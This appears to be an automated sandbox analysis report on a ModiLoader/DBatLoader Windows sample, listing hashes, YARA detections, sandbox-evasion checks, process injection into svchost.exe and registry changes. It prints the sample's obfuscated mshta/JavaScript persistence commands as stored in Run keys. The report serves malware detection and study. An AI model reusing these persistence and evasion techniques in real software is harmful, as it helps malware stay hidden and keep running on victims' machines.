Analysis
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max time kernel
186s -
max time network
209s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system -
submitted
26-11-2022 20:17
Static task
static1
Behavioral task
behavioral1
Sample
f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exe
Resource
win10v2004-20220812-en
General
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Target
f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exe
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Size
441KB
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MD5
13a63279006c3932aeaf7f637cd3d470
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SHA1
4b5f5b00ea6151be1159bdf1361db9f4daac2f71
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SHA256
f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72
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SHA512
b596ef9356dfcadf3c73ab739846070789e16a543ea746a860398ca3e172e63b7b66897f1991b5e103faec56587057b470492b642adcfeb8a2c05eb8c8b4a7bf
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SSDEEP
12288:yixPCbySuTiNNwHDR+oO0c6R7rQrCHEBVQy15m:VSQiz/oO50rmCkPm
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
svchost.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions svchost.exe -
ModiLoader Second Stage 11 IoCs
Processes:
resource yara_rule behavioral1/memory/1884-56-0x0000000000400000-0x0000000000473000-memory.dmp modiloader_stage2 behavioral1/memory/1884-58-0x0000000000050000-0x000000000010E000-memory.dmp modiloader_stage2 behavioral1/memory/1884-61-0x0000000000050000-0x000000000010E000-memory.dmp modiloader_stage2 behavioral1/memory/1192-63-0x0000000000160000-0x000000000021E000-memory.dmp modiloader_stage2 behavioral1/memory/1192-65-0x0000000000160000-0x000000000021E000-memory.dmp modiloader_stage2 behavioral1/memory/636-67-0x0000000000160000-0x000000000021E000-memory.dmp modiloader_stage2 behavioral1/memory/968-71-0x0000000000180000-0x000000000023E000-memory.dmp modiloader_stage2 behavioral1/memory/1544-75-0x0000000000080000-0x000000000013E000-memory.dmp modiloader_stage2 behavioral1/memory/1544-76-0x0000000000080000-0x000000000013E000-memory.dmp modiloader_stage2 behavioral1/memory/636-77-0x0000000000160000-0x000000000021E000-memory.dmp modiloader_stage2 behavioral1/memory/968-78-0x0000000000180000-0x000000000023E000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
svchost.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run svchost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:FB9izY0nfE=\"WEOniI\";J7S=new%20ActiveXObject(\"WScript.Shell\");VR7xoIznO=\"lY8xODbU\";DNVv6=J7S.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\21297246\\\\5a816b00\");HFVr1FO2vQ=\"ubc\";eval(DNVv6);TBVhQ0hNU=\"G\";" svchost.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
svchost.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools svchost.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
svchost.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion svchost.exe -
Deletes itself 1 IoCs
Processes:
svchost.exepid process 636 svchost.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
svchost.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:LToq1TSwk=\"V\";TA0=new%20ActiveXObject(\"WScript.Shell\");Nk6bug7T=\"fI\";izTT1=TA0.RegRead(\"HKCU\\\\software\\\\21297246\\\\5a816b00\");A8omhjJ=\"C7\";eval(izTT1);b5KXZzig=\"tWd6G6gcp1\";" svchost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Cbtebb7zk=\"vxt19\";SV3=new%20ActiveXObject(\"WScript.Shell\");MIm5EiB2nY=\"f3DmDwXz\";jS1fU=SV3.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\21297246\\\\5a816b00\");M6M6SDkWH=\"PYL8RaOwWX\";eval(jS1fU);lXOb1sWdb=\"cw\";" svchost.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
svchost.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 svchost.exe -
Processes:
svchost.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\International svchost.exe Key created \REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0" svchost.exe Key created \REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\svchost.exe = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0" svchost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION svchost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\svchost.exe = "0" svchost.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
svchost.exepid process 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe -
Suspicious behavior: MapViewOfSection 8 IoCs
Processes:
f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exesvchost.exesvchost.exepid process 1884 f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exe 1884 f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exe 1192 svchost.exe 1192 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe 636 svchost.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exedescription pid process Token: SeSystemtimePrivilege 1884 f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exe Token: SeSystemtimePrivilege 1884 f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exesvchost.exesvchost.exedescription pid process target process PID 1884 wrote to memory of 1192 1884 f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exe svchost.exe PID 1884 wrote to memory of 1192 1884 f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exe svchost.exe PID 1884 wrote to memory of 1192 1884 f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exe svchost.exe PID 1884 wrote to memory of 1192 1884 f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exe svchost.exe PID 1192 wrote to memory of 636 1192 svchost.exe svchost.exe PID 1192 wrote to memory of 636 1192 svchost.exe svchost.exe PID 1192 wrote to memory of 636 1192 svchost.exe svchost.exe PID 1192 wrote to memory of 636 1192 svchost.exe svchost.exe PID 636 wrote to memory of 968 636 svchost.exe svchost.exe PID 636 wrote to memory of 968 636 svchost.exe svchost.exe PID 636 wrote to memory of 968 636 svchost.exe svchost.exe PID 636 wrote to memory of 968 636 svchost.exe svchost.exe PID 636 wrote to memory of 1544 636 svchost.exe svchost.exe PID 636 wrote to memory of 1544 636 svchost.exe svchost.exe PID 636 wrote to memory of 1544 636 svchost.exe svchost.exe PID 636 wrote to memory of 1544 636 svchost.exe svchost.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exe"C:\Users\Admin\AppData\Local\Temp\f27a8d540cbeed2777c6fb0037ada80af9ec35fd984c8f9ee339851495294c72.exe"1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1884 -
C:\Windows\SysWOW64\svchost.exesvchost.exe2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1192 -
C:\Windows\SysWOW64\svchost.exesvchost.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:636 -
C:\Windows\SysWOW64\svchost.exe"C:\Windows\SysWOW64\svchost.exe"4⤵PID:968
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C:\Windows\SysWOW64\svchost.exe"C:\Windows\SysWOW64\svchost.exe"4⤵PID:1544
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